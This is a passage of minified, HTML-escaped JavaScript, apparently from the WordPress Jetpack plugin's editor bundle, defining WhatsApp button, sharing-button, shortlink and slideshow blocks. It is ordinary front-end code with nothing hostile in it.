name&quot;,&quot;jetpack&quot;),slug:&quot;whatsapp-white&quot;,color:&quot;#FFFFFF&quot;}]}]})]})}},13091(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;l});var r=s(94715),n=s(13022),o=s(43450),a=s(7651),i=s(10790);const l={attributes:o.A,supports:{html:!1,reusable:!1},save:function({attributes:e,className:t}){const{countryCode:s,phoneNumber:o,firstMessage:l,colorClass:c,buttonText:u,backgroundColor:d,openInNewTab:p}=e,h=p?&quot;_blank&quot;:&quot;_self&quot;,m=s&amp;&amp;o?s.replace(/\D+/g,&quot;&quot;)+o.replace(/\D+/g,&quot;&quot;):&quot;&quot;,g=(0,n.A)(t,c?&quot;is-color-&quot;+c:void 0,u.length?void 0:&quot;has-no-text&quot;);return(0,i.jsx)(&quot;div&quot;,{className:g,children:(0,i.jsx)(&quot;a&quot;,{className:&quot;whatsapp-block__button&quot;,href:(()=&gt;{let e=a.gp+m;return&quot;&quot;!==l&amp;&amp;(e+=&quot;&amp;text=&quot;+encodeURIComponent(l)),e})(),style:{backgroundColor:d},target:h,rel:&quot;noopener noreferrer&quot;,children:(0,i.jsx)(r.RichText.Content,{value:u})})})}}},67571(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;u});var r=s(94715),n=s(47143),o=s(86087),a=s(13022),i=s(57699),l=s(90557),c=(s(31501),s(10790));function u({attributes:e,setAttributes:t,className:s,clientId:u}){const{countryCode:d,buttonText:p,colorClass:h,backgroundColor:m}=e,g=(0,r.useBlockProps)({className:(0,a.A)(s,h&amp;&amp;`is-color-${h}`)}),{selectBlock:f}=(0,n.useDispatch)(&quot;core/block-editor&quot;),b=(0,o.useCallback)(async()=&gt;{t({countryCode:&quot;1&quot;});const e=await fetch(&quot;https://public-api.wordpress.com/geo/&quot;).then(e=&gt;!!e.ok&amp;&amp;e).catch(()=&gt;!1);if(e){const s=await e.json();i.N.forEach(e=&gt;{e.code===s.country_short&amp;&amp;t({countryCode:e.value})})}},[t]);return(0,o.useEffect)(()=&gt;{void 0===d&amp;&amp;(b(),f(u))},[u,d,b,f]),(0,c.jsxs)(&quot;div&quot;,{...g,children:[(0,c.jsx)(r.BlockControls,{children:(0,c.jsx)(l.A,{context:&quot;toolbar&quot;,setAttributes:t,attributes:e})}),(0,c.jsx)(r.InspectorControls,{children:(0,c.jsx)(l.A,{context:&quot;inspector&quot;,setAttributes:t,attributes:e})}),(0,c.jsx)(r.RichText,{placeholder:p.default,value:p,onChange:e=&gt;t({buttonText:e}),withoutInteractiveFormatting:!0,allowedFormats:[],className:&quot;whatsapp-block__button&quot;,tagName:&quot;a&quot;,preserveWhiteSpace:!1,style:{backgroundColor:m,color:&quot;dark&quot;===h?&quot;#fff&quot;:&quot;#465B64&quot;}})]})}},61642(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(56427),n=s(10790);const o=(0,n.jsx)(r.SVG,{width:&quot;24&quot;,height:&quot;24&quot;,viewBox:&quot;0 0 24 24&quot;,version:&quot;1.1&quot;,children:(0,n.jsx)(r.Path,{d:&quot;M24,11.6909333 C24,18.1477333 18.7256,23.3818667 12.2181333,23.3818667 C10.1522667,23.3818667 8.21146667,22.8538667 6.52293333,21.9272 L0,24 L2.12666667,17.7274667 C1.05386667,15.9658667 0.436,13.8997333 0.436,11.6909333 C0.436,5.23413333 5.71093333,0 12.2181333,0 C18.7261333,0 24,5.23413333 24,11.6909333 Z M12.2181333,1.86186667 C6.75573333,1.86186667 2.31253333,6.2712 2.31253333,11.6909333 C2.31253333,13.8416 3.0136,15.8333333 4.19946667,17.4536 L2.96186667,21.104 L6.76853333,19.8941333 C8.33253333,20.9210667 10.2061333,21.52 12.2184,21.52 C17.68,21.52 22.124,17.1112 22.124,11.6914667 C22.124,6.27173333 17.6802667,1.86186667 12.2181333,1.86186667 Z M18.1677333,14.3834667 C18.0949333,14.2642667 17.9026667,14.1922667 17.6141333,14.0490667 C17.3250667,13.9058667 15.9048,13.2122667 15.6408,13.1170667 C15.376,13.0216 15.1829333,12.9736 14.9906667,13.2602667 C14.7984,13.5472 14.2448,14.1922667 14.076,14.3834667 C13.9074667,14.5752 13.7392,14.5992 13.4501333,14.4557333 C13.1616,14.3125333 12.2312,14.0096 11.128,13.0336 C10.2696,12.2741333 9.68986667,11.3365333 9.52133333,11.0493333 C9.35306667,10.7626667 9.50373333,10.6077333 9.648,10.4650667 C9.77813333,10.3365333 9.93706667,10.1304 10.0813333,9.9632 C10.2261333,9.79573333 10.2741333,9.67653333 10.3698667,9.48506667 C10.4666667,9.29386667 10.4184,9.12666667 10.3458667,8.98293333 C10.2738667,8.83973333 9.69573333,7.4296 9.4552,6.85573333 C9.21466667,6.2824 8.9744,6.37786667 8.8056,6.37786667 C8.63733333,6.37786667 8.44453333,6.35386667 8.252,6.35386667 C8.05946667,6.35386667 7.7464,6.4256 7.4816,6.71226667 C7.21706667,6.9992 6.4712,7.69253333 6.4712,9.1024 C6.4712,10.5125333 7.5056,11.8749333 7.6504,12.0658667 C7.79466667,12.2568 9.64773333,15.2445333 12.5837333,16.392 C15.52,17.5389333 15.52,17.1562667 16.0496,17.1082667 C16.5786667,17.0605333 17.7578667,16.4152 17.9994667,15.7464 C18.2394667,15.0765333 18.2394667,14.5029333 18.1677333,14.3834667 Z&quot;})})},7651(e,t,s){&quot;use strict&quot;;s.d(t,{UU:()=&gt;c,W0:()=&gt;p,gp:()=&gt;d});var r=s(27723),n=s(43450),o=s(13091),a=s(67571),i=s(61642),l=s(33582);s(70855);const __=r.__,_x=r._x,c=&quot;whatsapp-button&quot;,u=__(&quot;WhatsApp Button&quot;,&quot;jetpack&quot;),d=&quot;https://api.whatsapp.com/send?phone=&quot;,p=(__(&quot;Chat on WhatsApp&quot;,&quot;jetpack&quot;),__(&quot;Hi, I got your WhatsApp information from your website.&quot;,&quot;jetpack&quot;),{apiVersion:3,title:u,description:__(&quot;Let your visitors send you a message on WhatsApp with the tap of a button.&quot;,&quot;jetpack&quot;),icon:{src:i.A},category:&quot;grow&quot;,parent:[&quot;jetpack/send-a-message&quot;],keywords:[_x(&quot;whatsapp&quot;,&quot;keyword&quot;,&quot;jetpack&quot;),_x(&quot;messenger&quot;,&quot;keyword&quot;,&quot;jetpack&quot;),_x(&quot;contact&quot;,&quot;keyword&quot;,&quot;jetpack&quot;),_x(&quot;support&quot;,&quot;keyword&quot;,&quot;jetpack&quot;)],supports:{html:!1,reusable:!1,align:[&quot;left&quot;,&quot;center&quot;,&quot;right&quot;]},attributes:n.A,edit:a.A,save:l.A,example:{attributes:{countryCode:&quot;1&quot;,phoneNumber:&quot;555-123-4567&quot;}},deprecated:[o.A]})},33582(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(94715),n=s(13022),o=s(7651),a=s(10790);function i({attributes:e}){const{countryCode:t,phoneNumber:s,firstMessage:i,buttonText:l,backgroundColor:c,colorClass:u,openInNewTab:d}=e,p=r.useBlockProps.save(),h=t&amp;&amp;s?t.replace(/\D+/g,&quot;&quot;)+s.replace(/\D+/g,&quot;&quot;):&quot;&quot;,m=(0,n.A)(p?.className,u?&quot;is-color-&quot;+u:void 0,l.length?void 0:&quot;has-no-text&quot;),g=d?&quot;_blank&quot;:&quot;_self&quot;;return(0,a.jsx)(&quot;div&quot;,{...p,className:m,children:(0,a.jsx)(&quot;a&quot;,{className:&quot;whatsapp-block__button&quot;,href:(()=&gt;{let e=o.gp+h;return&quot;&quot;!==i&amp;&amp;(e+=&quot;&amp;text=&quot;+encodeURIComponent(i)),e})(),style:{backgroundColor:c,color:&quot;dark&quot;===u?&quot;#fff&quot;:&quot;#465B64&quot;},target:g,rel:&quot;noopener noreferrer&quot;,children:(0,a.jsx)(r.RichText.Content,{value:l})})})}},57766(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c});var r=s(94715),n=s(56427),o=s(13022),a=s(84705),i=s(55061),l=(s(28868),s(10790));const c=({attributes:e,context:t})=&gt;{const{service:s,label:c}=e,{styleType:u,iconColorValue:d,iconBackgroundColorValue:p}=t,h=(0,i.s)(s),m=c??h,g=(0,o.A)(&quot;jetpack-sharing-button__button&quot;,&quot;style-&quot;+u,&quot;share-&quot;+s),f=(0,r.useBlockProps)({className:&quot;jetpack-sharing-button__list-item&quot;}),b={color:d,backgroundColor:p};return(0,l.jsx)(l.Fragment,{children:(0,l.jsx)(&quot;li&quot;,{...f,children:(0,l.jsxs)(n.Button,{className:g,style:b,children:[(0,l.jsx)(a.d6,{icon:s,size:24}),(0,l.jsx)(&quot;span&quot;,{className:&quot;jetpack-sharing-button__service-label&quot;,children:m})]})})})}},39843(e,t,s){&quot;use strict&quot;;var r=s(94375),n=s(50233),o=s(57766),a=s(81776);(0,r.M)(n,{edit:o.A,variations:a.A})},55061(e,t,s){&quot;use strict&quot;;s.d(t,{s:()=&gt;o});var r=s(27723),n=s(81776);const __=r.__,o=e=&gt;{const t=n.A.find(t=&gt;t.name===e);return t?t.title:__(&quot;Sharing Button&quot;,&quot;jetpack&quot;)}},81776(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(27723),n=s(84705),o=s(10790);const __=r.__,a=[{name:&quot;bluesky&quot;,attributes:{service:&quot;bluesky&quot;,label:&quot;Bluesky&quot;},title:&quot;Bluesky&quot;,icon:(0,o.jsx)(n.d6,{icon:&quot;bluesky&quot;,size:24})},{name:&quot;print&quot;,attributes:{service:&quot;print&quot;,
// translators: option to print the content - a verb.
label:__(&quot;Print&quot;,&quot;jetpack&quot;)},
// translators: option to print the content - a verb labelling a button.
title:__(&quot;Print&quot;,&quot;jetpack&quot;),icon:(0,o.jsx)(n.d6,{icon:&quot;print&quot;,size:24})},{name:&quot;facebook&quot;,attributes:{service:&quot;facebook&quot;,label:&quot;Facebook&quot;},title:&quot;Facebook&quot;,icon:(0,o.jsx)(n.d6,{icon:&quot;facebook&quot;,size:24})},{name:&quot;linkedin&quot;,attributes:{service:&quot;linkedin&quot;,label:&quot;LinkedIn&quot;},title:&quot;LinkedIn&quot;,isDefault:!0,icon:(0,o.jsx)(n.d6,{icon:&quot;linkedin&quot;,size:24})},{name:&quot;mail&quot;,attributes:{service:&quot;mail&quot;,
// translators: option to share the content by email - a verb.
label:__(&quot;Mail&quot;,&quot;jetpack&quot;)},
// translators: option to share the content by email - a verb labelling a button.
title:__(&quot;Mail&quot;,&quot;jetpack&quot;),keywords:[&quot;email&quot;,&quot;e-mail&quot;],icon:(0,o.jsx)(n.d6,{icon:&quot;mail&quot;,size:24})},{name:&quot;mastodon&quot;,attributes:{service:&quot;mastodon&quot;,label:&quot;Mastodon&quot;},title:&quot;Mastodon&quot;,icon:(0,o.jsx)(n.d6,{icon:&quot;mastodon&quot;,size:24})},{name:&quot;pinterest&quot;,attributes:{service:&quot;pinterest&quot;,label:&quot;Pinterest&quot;},title:&quot;Pinterest&quot;,icon:(0,o.jsx)(n.d6,{icon:&quot;pinterest&quot;,size:24})},{name:&quot;reddit&quot;,attributes:{service:&quot;reddit&quot;,label:&quot;Reddit&quot;},title:&quot;Reddit&quot;,icon:(0,o.jsx)(n.d6,{icon:&quot;reddit&quot;,size:24})},{name:&quot;telegram&quot;,attributes:{service:&quot;telegram&quot;,label:&quot;Telegram&quot;},title:&quot;Telegram&quot;,icon:(0,o.jsx)(n.d6,{icon:&quot;telegram&quot;,size:24})},{name:&quot;threads&quot;,attributes:{service:&quot;threads&quot;,label:&quot;Threads&quot;},title:&quot;Threads&quot;,icon:(0,o.jsx)(n.d6,{icon:&quot;threads&quot;,size:24})},{name:&quot;tumblr&quot;,attributes:{service:&quot;tumblr&quot;,label:&quot;Tumblr&quot;},title:&quot;Tumblr&quot;,icon:(0,o.jsx)(n.d6,{icon:&quot;tumblr&quot;,size:24})},{name:&quot;whatsapp&quot;,attributes:{service:&quot;whatsapp&quot;,label:&quot;WhatsApp&quot;},title:&quot;WhatsApp&quot;,icon:(0,o.jsx)(n.d6,{icon:&quot;whatsapp&quot;,size:24})},{name:&quot;x&quot;,attributes:{service:&quot;x&quot;,label:&quot;X&quot;},keywords:[&quot;twitter&quot;,&quot;x&quot;],title:&quot;X&quot;,icon:(0,o.jsx)(n.d6,{icon:&quot;x&quot;,size:24})},{name:&quot;nextdoor&quot;,attributes:{service:&quot;nextdoor&quot;,label:&quot;Nextdoor&quot;},title:&quot;Nextdoor&quot;,icon:(0,o.jsx)(n.d6,{icon:&quot;nextdoor&quot;,size:24})},{name:&quot;native-share&quot;,attributes:{service:&quot;share&quot;,
// translators: option to share the content - a verb.
label:__(&quot;Share&quot;,&quot;jetpack&quot;)},
// translators: option to share the content - a verb labelling a button.
title:__(&quot;Native Share&quot;,&quot;jetpack&quot;),icon:(0,o.jsx)(n.d6,{icon:&quot;share&quot;,size:24}),description:__(&quot;Share the post using your phone’s built-in sharing menu, or copy the link to the clipboard on desktop.&quot;,&quot;jetpack&quot;)}];a.forEach(e=&gt;{e.isActive||(e.isActive=(e,t)=&gt;e.service===t.service)});const i=a},11906(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c});var r=s(94715),n=s(56427),o=s(27723),a=s(88901),i=s(10790);const __=o.__,l=[{name:__(&quot;Small&quot;,&quot;jetpack&quot;),value:&quot;has-small-icon-size&quot;},{name:__(&quot;Normal&quot;,&quot;jetpack&quot;),value:&quot;has-normal-icon-size&quot;},{name:__(&quot;Large&quot;,&quot;jetpack&quot;),value:&quot;has-large-icon-size&quot;},{name:__(&quot;Huge&quot;,&quot;jetpack&quot;),value:&quot;has-huge-icon-size&quot;}],c=e=&gt;{const{attributes:t,setAttributes:s}=e,{size:o}=t,c=e=&gt;o===e||!o&amp;&amp;&quot;has-normal-icon-size&quot;===e;return(0,i.jsx)(r.BlockControls,{group:&quot;other&quot;,children:(0,i.jsx)(n.ToolbarDropdownMenu,{label:__(&quot;Size&quot;,&quot;jetpack&quot;),text:__(&quot;Size&quot;,&quot;jetpack&quot;),icon:null,popoverProps:{position:&quot;bottom right&quot;},children:()=&gt;(0,i.jsx)(n.MenuGroup,{children:l.map(({name:e,value:t})=&gt;(0,i.jsx)(n.MenuItem,{icon:c(t)&amp;&amp;a.A,isSelected:c(t),role:&quot;menuitemradio&quot;,onClick:()=&gt;{s({size:t})},children:e},t))})})})}},67650(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(94715),n=s(56427),o=s(27723),a=s(10790);const __=o.__,i=(0,r.withColors)({iconColor:&quot;icon-color&quot;,iconBackgroundColor:&quot;icon-background-color&quot;})(e=&gt;{const{clientId:t,attributes:s,iconBackgroundColor:o,iconColor:i,setAttributes:l,setIconBackgroundColor:c,setIconColor:u}=e,{iconBackgroundColorValue:d,iconColorValue:p}=s,{styleType:h}=s,m=(0,r.__experimentalUseMultipleOriginColorsAndGradients)(),g=[{value:i.color||p,onChange:e=&gt;{u(e),l({iconColorValue:e})},label:__(&quot;Icon color&quot;,&quot;jetpack&quot;),resetAllFilter:()=&gt;{u(void 0),l({iconColorValue:void 0})}},{value:o.color||d,gradients:&quot;&quot;,onChange:e=&gt;{c(e),l({iconBackgroundColorValue:e})},onGradientChange:()=&gt;{},label:__(&quot;Icon background&quot;,&quot;jetpack&quot;),resetAllFilter:()=&gt;{c(void 0),l({iconBackgroundColorValue:void 0})}}];return(0,a.jsxs)(a.Fragment,{children:[(0,a.jsx)(r.InspectorControls,{children:(0,a.jsx)(n.PanelBody,{title:__(&quot;Settings&quot;,&quot;jetpack&quot;),children:(0,a.jsx)(n.MenuItemsChoice,{choices:[/* translators: Sharing: Sharing button option label. */
{value:&quot;icon-text&quot;,label:__(&quot;Icon &amp; Text&quot;,&quot;jetpack&quot;)},/* translators: Sharing: Sharing button option label. */
{value:&quot;icon&quot;,label:__(&quot;Icon Only&quot;,&quot;jetpack&quot;)},/* translators: Sharing: Sharing button option label. */
{value:&quot;text&quot;,label:__(&quot;Text Only&quot;,&quot;jetpack&quot;)}],value:h,onSelect:e=&gt;l({styleType:e})})})}),(0,a.jsxs)(r.InspectorControls,{group:&quot;color&quot;,children:[g.map(({onChange:e,label:s,value:n,resetAllFilter:o})=&gt;(0,a.jsx)(r.__experimentalColorGradientSettingsDropdown,{__experimentalIsRenderedInSidebar:!0,settings:[{colorValue:n,label:s,onColorChange:e,isShownByDefault:!0,resetAllFilter:o,enableAlpha:!0,clearable:!0}],panelId:t,gradients:&quot;&quot;,...m},`social-links-color-${s}`)),(0,a.jsx)(r.ContrastChecker,{textColor:p,backgroundColor:d,isLargeText:!1})]})]})})},83597(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;u});var r=s(94715),n=s(27723),o=(s(73309),s(13022)),a=s(11906),i=s(67650),l=s(10790);const __=n.__,c=[&quot;jetpack/sharing-button&quot;];const u=function(e){const{attributes:t}=e,{size:s}=t,n=(0,l.jsx)(&quot;li&quot;,{children:__(&quot;Click plus to add a Sharing Button&quot;,&quot;jetpack&quot;)}),u=(0,o.A)(s,&quot;jetpack-sharing-buttons__services-list&quot;),d=(0,r.useBlockProps)({className:u}),p=(0,r.useInnerBlocksProps)(d,{allowedBlocks:c,placeholder:n,templateLock:!1,orientation:t.layout?.orientation??&quot;horizontal&quot;,sharingEventsAdded:!0,__experimentalAppenderTagName:&quot;li&quot;});return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(a.A,{...e}),(0,l.jsx)(i.A,{...e}),(0,l.jsx)(&quot;ul&quot;,{...p})]})}},74956(e,t,s){&quot;use strict&quot;;var r=s(94375),n=s(32870),o=s(83597),a=s(53840);s(73309);(0,r.M)(n,{edit:o.A,save:a.A})},53840(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(94715),n=s(13022),o=s(10790);function a({attributes:e}){const{size:t}=e,s=(0,n.A)(t,&quot;jetpack-sharing-buttons__services-list&quot;),a=r.useBlockProps.save({className:s}),i=r.useInnerBlocksProps.save(a);return(0,o.jsx)(&quot;ul&quot;,{...i,id:&quot;jetpack-sharing-serivces-list&quot;})}},48715(e,t,s){&quot;use strict&quot;;var r=s(85985),n=s(18692);(0,r.vp)(n.U,n.W)},18692(e,t,s){&quot;use strict&quot;;s.d(t,{U:()=&gt;u,W:()=&gt;d});var r=s(56427),n=s(47143),o=s(86087),a=s(27723),i=s(71046),l=s(90062),c=s(10790);const __=a.__,u=&quot;shortlinks&quot;,d={render:()=&gt;(0,c.jsx)(h,{})};class p extends o.Component{render(){const{shortlink:e}=this.props;return e?(0,c.jsx)(l.A,{children:(0,c.jsx)(r.PanelBody,{title:__(&quot;Shortlink&quot;,&quot;jetpack&quot;),className:&quot;jetpack-shortlinks__panel&quot;,initialOpen:!1,children:(0,c.jsx)(i.A,{link:e})})}):null}}const h=(0,n.withSelect)(e=&gt;{const t=e(&quot;core/editor&quot;).getCurrentPost();return{shortlink:t?.jetpack_shortlink??&quot;&quot;}})(p)},94247(e,t,s){&quot;use strict&quot;;s.d(t,{H:()=&gt;c,o:()=&gt;u});var r=s(94715),n=s(56427),o=s(86087),a=s(27723),i=s(66087),l=s(10790);const __=a.__,_x=a._x;function c({attributes:{autoplay:e,delay:t,effect:s,images:r,sizeSlug:a},imageSizeOptions:c,onChangeImageSize:u,setAttributes:d}){const p=&quot;undefined&quot;!=typeof window&amp;&amp;window.matchMedia(&quot;(prefers-reduced-motion: reduce)&quot;).matches,h=[{label:_x(&quot;Slide&quot;,&quot;Slideshow transition effect&quot;,&quot;jetpack&quot;),value:&quot;slide&quot;},{label:_x(&quot;Fade&quot;,&quot;Slideshow transition effect&quot;,&quot;jetpack&quot;),value:&quot;fade&quot;}];return(0,l.jsxs)(o.Fragment,{children:[(0,l.jsxs)(n.PanelBody,{title:__(&quot;Autoplay&quot;,&quot;jetpack&quot;),children:[(0,l.jsx)(n.ToggleControl,{__nextHasNoMarginBottom:!0,label:__(&quot;Autoplay&quot;,&quot;jetpack&quot;),help:__(&quot;Autoplay between slides&quot;,&quot;jetpack&quot;),checked:e,onChange:e=&gt;{d({autoplay:e})}}),e&amp;&amp;(0,l.jsx)(n.RangeControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:__(&quot;Delay between transitions (in seconds)&quot;,&quot;jetpack&quot;),value:t,onChange:e=&gt;{d({delay:e})},min:1,max:5}),e&amp;&amp;p&amp;&amp;(0,l.jsx)(&quot;span&quot;,{children:__(&quot;The Reduce Motion accessibility option is selected, therefore autoplay will be disabled in this browser.&quot;,&quot;jetpack&quot;)})]}),(0,l.jsx)(n.PanelBody,{title:__(&quot;Effects&quot;,&quot;jetpack&quot;),children:(0,l.jsx)(n.SelectControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:__(&quot;Transition&quot;,&quot;jetpack&quot;),value:s,onChange:e=&gt;{d({effect:e})},options:h})}),!(0,i.isEmpty)(r)&amp;&amp;!(0,i.isEmpty)(c)&amp;&amp;(0,l.jsx)(n.PanelBody,{title:__(&quot;Image Settings&quot;,&quot;jetpack&quot;),children:(0,l.jsx)(n.SelectControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:__(&quot;Size&quot;,&quot;jetpack&quot;),value:a,options:c,onChange:e=&gt;u(e)})})]})}function u({allowedMediaTypes:e,attributes:{images:t},onSelectImages:s}){return(0,l.jsx)(o.Fragment,{children:!!t.length&amp;&amp;(0,l.jsx)(n.ToolbarGroup,{children:(0,l.jsx)(n.ToolbarItem,{children:()=&gt;(0,l.jsx)(r.MediaUpload,{onSelect:s,allowedTypes:e,multiple:!0,gallery:!0,value:t.map(e=&gt;e.id),render:({open:e})=&gt;(0,l.jsx)(n.Button,{label:__(&quot;Edit Slideshow&quot;,&quot;jetpack&quot;),onClick:e,children:__(&quot;Edit&quot;,&quot;jetpack&quot;)})})})})})}},33170(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});s(95341);async function r(e=&quot;.wp-block-jetpack-slideshow_container&quot;,t={},s={}){const r={effect:&quot;slide&quot;,grabCursor:!0,init:!0,initialSlide:0,navigation:{nextEl:&quot;.swiper-button-next&quot;,prevEl:&quot;.swiper-button-prev&quot;},pagination:{bulletElement:&quot;button&quot;,clickable:!0,el:&quot;.swiper-pagination&quot;,type:&quot;bullets&quot;},preventClicks:!1,preventClicksPropagation:!1,releaseFormElements:!1,setWrapperSize:!0,threshold:5,touchStartPreventDefault:!1,on:Object.fromEntries(Object.entries(s||{}).map(([e,t])=&gt;[e,function(){t(this)}]))};let n;if(window.JetpackSwiper)n=window.JetpackSwiper;else{const e=window.Jetpack_Block_Assets_Base_Url+&quot;swiper.css&quot;;if(!document.querySelector(`link[href=&quot;${e}&quot;]`)){const t=document.createElement(&quot;link&quot;);t.rel=&quot;stylesheet&quot;,t.href=e,document.head.appendChild(t)}if(await import(window.Jetpack_Block_Assets_Base_Url+&quot;swiper.js&quot;),!window.JetpackSwiper)throw new Error(&quot;Failed to load Jetpack Swiper bundle&quot;);n=window.JetpackSwiper}return new n(e,{...r,...t})}},88075(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(26497),n=s(57544);const o=[s(9455),n,r]},84972(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r={align:{default:&quot;center&quot;,type:&quot;string&quot;},autoplay:{type:&quot;boolean&quot;,default:!1},delay:{type:&quot;number&quot;,default:3},ids:{default:[],type:&quot;array&quot;},images:{type:&quot;array&quot;,default:[],source:&quot;query&quot;,selector:&quot;.swiper-slide&quot;,query:{alt:{source:&quot;attribute&quot;,selector:&quot;img&quot;,attribute:&quot;alt&quot;,default:&quot;&quot;},caption:{type:&quot;string&quot;,source:&quot;html&quot;,selector:&quot;figcaption&quot;},id:{source:&quot;attribute&quot;,selector:&quot;img&quot;,attribute:&quot;data-id&quot;},url:{source:&quot;attribute&quot;,selector:&quot;img&quot;,attribute:&quot;src&quot;}}},effect:{type:&quot;string&quot;,default:&quot;slide&quot;},sizeSlug:{type:&quot;string&quot;}}},39126(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});s(97225);async function r(e=&quot;.swiper-container&quot;,t={},s={}){const r={effect:&quot;slide&quot;,grabCursor:!0,init:!0,initialSlide:0,navigation:{nextEl:&quot;.swiper-button-next&quot;,prevEl:&quot;.swiper-button-prev&quot;},pagination:{bulletElement:&quot;button&quot;,clickable:!0,el:&quot;.swiper-pagination&quot;,type:&quot;bullets&quot;},preventClicks:!1,preventClicksPropagation:!1,releaseFormElements:!1,setWrapperSize:!0,threshold:5,touchStartPreventDefault:!1,on:Object.fromEntries(Object.entries(s||{}).map(([e,t])=&gt;[e,function(){t(this)}]))};let n;if(window.JetpackSwiper)n=window.JetpackSwiper;else{const e=window.Jetpack_Block_Assets_Base_Url+&quot;swiper.css&quot;;if(!document.querySelector(`link[href=&quot;${e}&quot;]`)){const t=document.createElement(&quot;link&quot;);t.rel=&quot;stylesheet&quot;,t.href=e,document.head.appendChild(t)}if(await import(window.Jetpack_Block_Assets_Base_Url+&quot;swiper.js&quot;),!window.JetpackSwiper)throw new Error(&quot;Failed to load Jetpack Swiper bundle&quot;);n=window.JetpackSwiper}return new n(e,{...r,...t})}},26497(e,t,s){&quot;use strict&quot;;s.r(t),s.d(t,{attributes:()=&gt;o.A,save:()=&gt;i,supports:()=&gt;a.A});var r=s(16445),n=s(10790),o=s(84972),a=s(82233);const i=({attributes:{align:e,autoplay:t,delay:s,effect:o,images:a},className:i})=&gt;(0,n.jsx)(r.A,{align:e,autoplay:t,className:i,delay:s,effect:o,images:a})},31837(e,t,s){&quot;use strict&quot;;s.d(t,{y:()=&gt;n});var r=s(27723);const __=r.__;function n(e,t,s){let n=&quot;&quot;;if(s&lt;=5)for(let e=1;e&lt;=s;e++){n+=&#039;&lt;button class=&quot;&#039;+`swiper-pagination-bullet${e===t?&quot; swiper-pagination-bullet-active&quot;:&quot;&quot;}`+&#039;&quot; tab-index=&quot;0&quot; role=&quot;button&quot; aria-label=&quot;&#039;+(0,r.sprintf)(/* translators: %s: the slide number to navigate to */
__(&quot;Go to slide %s&quot;,&quot;jetpack&quot;),e)+&#039;&quot;&gt;&lt;/button&gt;&#039;}else n+=`&lt;div class=&quot;swiper-pagination-simple&quot;&gt;${t} / ${s}&lt;/div&gt;`;return n}},16445(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;f});var r=s(63162),n=s(94715),o=s(56427),a=s(86087),i=s(27723),l=s(13022),c=s(66087),u=s(94107),d=s(39126),p=s(31837),h=s(57464),m=s(10790);const __=i.__;class g extends a.Component{pendingRequestAnimationFrame=null;resizeObserver=null;static defaultProps={effect:&quot;slide&quot;};constructor(e){super(e),this.slideshowRef=(0,a.createRef)(),this.btnNextRef=(0,a.createRef)(),this.btnPrevRef=(0,a.createRef)(),this.paginationRef=(0,a.createRef)()}componentDidMount(){const{onError:e}=this.props;this.buildSwiper().then(e=&gt;{this.swiperInstance=e,this.initializeResizeObserver(e)}).catch(()=&gt;{e(__(&quot;The Swiper library could not be loaded.&quot;,&quot;jetpack&quot;))})}componentWillUnmount(){this.clearResizeObserver(),this.clearPendingRequestAnimationFrame()}componentDidUpdate(e){const{align:t,autoplay:s,delay:r,effect:n,images:o,onError:a}=this.props;if(t===e.align&amp;&amp;(0,c.isEqual)(o,e.images)||this.swiperInstance&amp;&amp;this.swiperInstance.update(),n!==e.effect||s!==e.autoplay||r!==e.delay||o!==e.images){let t;t=this.swiperIndex?o.length===e.images.length?this.swiperInstance.realIndex:e.images.length:0,this.swiperInstance&amp;&amp;this.swiperInstance.destroy(!0,!0),this.buildSwiper(t).then(e=&gt;{this.swiperInstance=e,this.initializeResizeObserver(e)}).catch(()=&gt;{a(__(&quot;The Swiper library could not be loaded.&quot;,&quot;jetpack&quot;))})}}initializeResizeObserver=e=&gt;{this.clearResizeObserver(),this.resizeObserver=new u.A(()=&gt;{this.clearPendingRequestAnimationFrame(),this.pendingRequestAnimationFrame=requestAnimationFrame(()=&gt;{(0,h.bz)(e),e.update()})}),this.resizeObserver.observe(e.el)};clearPendingRequestAnimationFrame=()=&gt;{this.pendingRequestAnimationFrame&amp;&amp;(cancelAnimationFrame(this.pendingRequestAnimationFrame),this.pendingRequestAnimationFrame=null)};clearResizeObserver=()=&gt;{this.resizeObserver&amp;&amp;(this.resizeObserver.disconnect(),this.resizeObserver=null)};render(){if(!this.props?.images?.length)return null;const{autoplay:e,className:t,delay:s,effect:a,images:i}=this.props;return(0,m.jsx)(&quot;div&quot;,{className:t,&quot;data-autoplay&quot;:e||null,&quot;data-delay&quot;:e?s:null,&quot;data-effect&quot;:a,children:(0,m.jsxs)(&quot;div&quot;,{className:&quot;wp-block-jetpack-slideshow_container swiper-container&quot;,ref:this.slideshowRef,children:[(0,m.jsx)(&quot;ul&quot;,{className:&quot;wp-block-jetpack-slideshow_swiper-wrapper swiper-wrapper&quot;,children:i.map(({alt:e,caption:t,id:s,url:a})=&gt;(0,m.jsx)(&quot;li&quot;,{className:(0,l.A)(&quot;wp-block-jetpack-slideshow_slide&quot;,&quot;swiper-slide&quot;,(0,r.isBlobURL)(a)&amp;&amp;&quot;is-transient&quot;),children:(0,m.jsxs)(&quot;figure&quot;,{children:[(0,m.jsx)(&quot;img&quot;,{alt:e,className:`wp-block-jetpack-slideshow_image wp-image-${s}`,&quot;data-id&quot;:s,src:a}),(0,r.isBlobURL)(a)&amp;&amp;(0,m.jsx)(o.Spinner,{}),t&amp;&amp;(0,m.jsx)(n.RichText.Content,{className:&quot;wp-block-jetpack-slideshow_caption 